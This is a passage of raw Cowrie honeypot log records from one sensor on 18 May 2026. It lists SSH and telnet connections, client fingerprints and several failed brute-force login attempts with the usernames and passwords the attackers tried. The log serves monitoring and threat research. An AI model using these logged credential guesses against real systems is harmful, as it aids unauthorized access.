16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:04.744994Z","src_ip":"77.94.47.83","session":"508875d3143a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"danildanil","message":"login attempt [root/danildanil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:05.481744Z","src_ip":"77.94.47.83","session":"508875d3143a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:06.607848Z","src_ip":"77.94.47.83","session":"508875d3143a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35082,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7102b0e8887","protocol":"telnet","message":"New connection: 152.42.224.71:35082 (10.17.0.5:23) [session: b7102b0e8887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:07.364474Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35094,"dst_ip":"10.17.0.5","dst_port":23,"session":"763ee9537515","protocol":"telnet","message":"New connection: 152.42.224.71:35094 (10.17.0.5:23) [session: 763ee9537515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:14.867552Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.188.177.46","src_port":48022,"dst_ip":"159.203.135.109","dst_port":22,"session":"83cf914aafad","protocol":"ssh","message":"New connection: 103.188.177.46:48022 (159.203.135.109:22) [session: 83cf914aafad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:16.474503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:16.485907Z","src_ip":"103.188.177.46","session":"83cf914aafad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:16.728548Z","src_ip":"103.188.177.46","session":"83cf914aafad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hola1234","message":"login attempt [root/Hola1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:17.728311Z","src_ip":"103.188.177.46","session":"83cf914aafad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42124,"dst_ip":"10.17.0.5","dst_port":23,"session":"966f4971b0ba","protocol":"telnet","message":"New connection: 152.42.224.71:42124 (10.17.0.5:23) [session: 966f4971b0ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:17.987724Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:18.975735Z","src_ip":"103.188.177.46","session":"83cf914aafad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42136,"dst_ip":"10.17.0.5","dst_port":23,"session":"9008c79cfda5","protocol":"telnet","message":"New connection: 152.42.224.71:42136 (10.17.0.5:23) [session: 9008c79cfda5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:20.435521Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42144,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a260330042a","protocol":"telnet","message":"New connection: 152.42.224.71:42144 (10.17.0.5:23) [session: 3a260330042a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:21.651128Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42160,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4330ab849b4","protocol":"telnet","message":"New connection: 152.42.224.71:42160 (10.17.0.5:23) [session: f4330ab849b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:24.088947Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44904,"dst_ip":"10.17.0.5","dst_port":23,"session":"18f01813e6f1","protocol":"telnet","message":"New connection: 152.42.224.71:44904 (10.17.0.5:23) [session: 18f01813e6f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:28.621725Z"}
{"eventid":"cowrie.session.closed","duration":28.443064212799072,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:29.807271Z","src_ip":"152.42.224.71","session":"2ec4f1f6cd1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":36610,"dst_ip":"159.203.135.109","dst_port":23,"session":"29b963eabe97","protocol":"telnet","message":"New connection: 209.127.178.212:36610 (159.203.135.109:23) [session: 29b963eabe97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:32.511405Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.62.188","src_port":36356,"dst_ip":"159.203.135.109","dst_port":22,"session":"9850772fc7e7","protocol":"ssh","message":"New connection: 43.133.62.188:36356 (159.203.135.109:22) [session: 9850772fc7e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:35.984121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:35.989289Z","src_ip":"43.133.62.188","session":"9850772fc7e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:36.227467Z","src_ip":"43.133.62.188","session":"9850772fc7e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qichen","password":"qichen","message":"login attempt [qichen/qichen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:37.208758Z","src_ip":"43.133.62.188","session":"9850772fc7e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.131781816482544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:37.496112Z","src_ip":"152.42.224.71","session":"b7102b0e8887","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:38.449692Z","src_ip":"43.133.62.188","session":"9850772fc7e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.42643427848816,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:40.647719Z","src_ip":"152.42.224.71","session":"df6e4428688f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.544502019882202,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:43.411927Z","src_ip":"152.42.224.71","session":"763ee9537515","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0034008026123,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:48.985072Z","src_ip":"152.42.224.71","session":"4a835046e6b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":54186,"dst_ip":"159.203.135.109","dst_port":22,"session":"7330d9210ee9","protocol":"ssh","message":"New connection: 103.172.78.219:54186 (159.203.135.109:22) [session: 7330d9210ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:54.577506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:54.586550Z","src_ip":"103.172.78.219","session":"7330d9210ee9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:54.840495Z","src_ip":"103.172.78.219","session":"7330d9210ee9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima1998","message":"login attempt [root/dima1998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:55.604254Z","src_ip":"103.172.78.219","session":"7330d9210ee9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:56.860821Z","src_ip":"103.172.78.219","session":"7330d9210ee9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":48488,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f383ee10169","protocol":"ssh","message":"New connection: 102.210.148.92:48488 (159.203.135.109:22) [session: 4f383ee10169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:58.681792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:58.686335Z","src_ip":"102.210.148.92","session":"4f383ee10169","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:58.938244Z","src_ip":"102.210.148.92","session":"4f383ee10169","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QAZqaz123","message":"login attempt [root/QAZqaz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:46:59.976966Z","src_ip":"102.210.148.92","session":"4f383ee10169","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:01.232372Z","src_ip":"102.210.148.92","session":"4f383ee10169","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35914,"dst_ip":"10.17.0.5","dst_port":23,"session":"c45dd1debd82","protocol":"telnet","message":"New connection: 152.42.224.71:35914 (10.17.0.5:23) [session: c45dd1debd82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:02.994580Z"}
{"eventid":"cowrie.session.closed","duration":42.77432107925415,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:03.209714Z","src_ip":"152.42.224.71","session":"9008c79cfda5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25832176208496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:03.769606Z","src_ip":"209.127.178.212","session":"29b963eabe97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.58477568626404,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:14.235401Z","src_ip":"152.42.224.71","session":"3a260330042a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.68533182144165,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:14.306969Z","src_ip":"152.42.224.71","session":"18f01813e6f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.28.136","src_port":35166,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a81515dcddb","protocol":"ssh","message":"New connection: 43.156.28.136:35166 (159.203.135.109:22) [session: 3a81515dcddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:15.639276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:15.644605Z","src_ip":"43.156.28.136","session":"3a81515dcddb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:15.890898Z","src_ip":"43.156.28.136","session":"3a81515dcddb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terra","password":"terra","message":"login attempt [terra/terra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:16.902585Z","src_ip":"43.156.28.136","session":"3a81515dcddb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:18.150481Z","src_ip":"43.156.28.136","session":"3a81515dcddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42836,"dst_ip":"10.17.0.5","dst_port":23,"session":"470ead47d2f2","protocol":"telnet","message":"New connection: 152.42.224.71:42836 (10.17.0.5:23) [session: 470ead47d2f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:24.513784Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":38704,"dst_ip":"159.203.135.109","dst_port":23,"session":"eab3217af1f2","protocol":"telnet","message":"New connection: 209.127.178.212:38704 (159.203.135.109:23) [session: eab3217af1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:25.299389Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":38674,"dst_ip":"159.203.135.109","dst_port":23,"session":"93f0d9e06562","protocol":"telnet","message":"New connection: 209.127.178.212:38674 (159.203.135.109:23) [session: 93f0d9e06562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:27.078028Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.31.53.170","src_port":37314,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3d2cf6e5f8b","protocol":"ssh","message":"New connection: 64.31.53.170:37314 (10.17.0.5:22) [session: d3d2cf6e5f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:30.652369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:30.656857Z","src_ip":"64.31.53.170","session":"d3d2cf6e5f8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:30.664973Z","src_ip":"64.31.53.170","session":"d3d2cf6e5f8b","protocol":"ssh"}
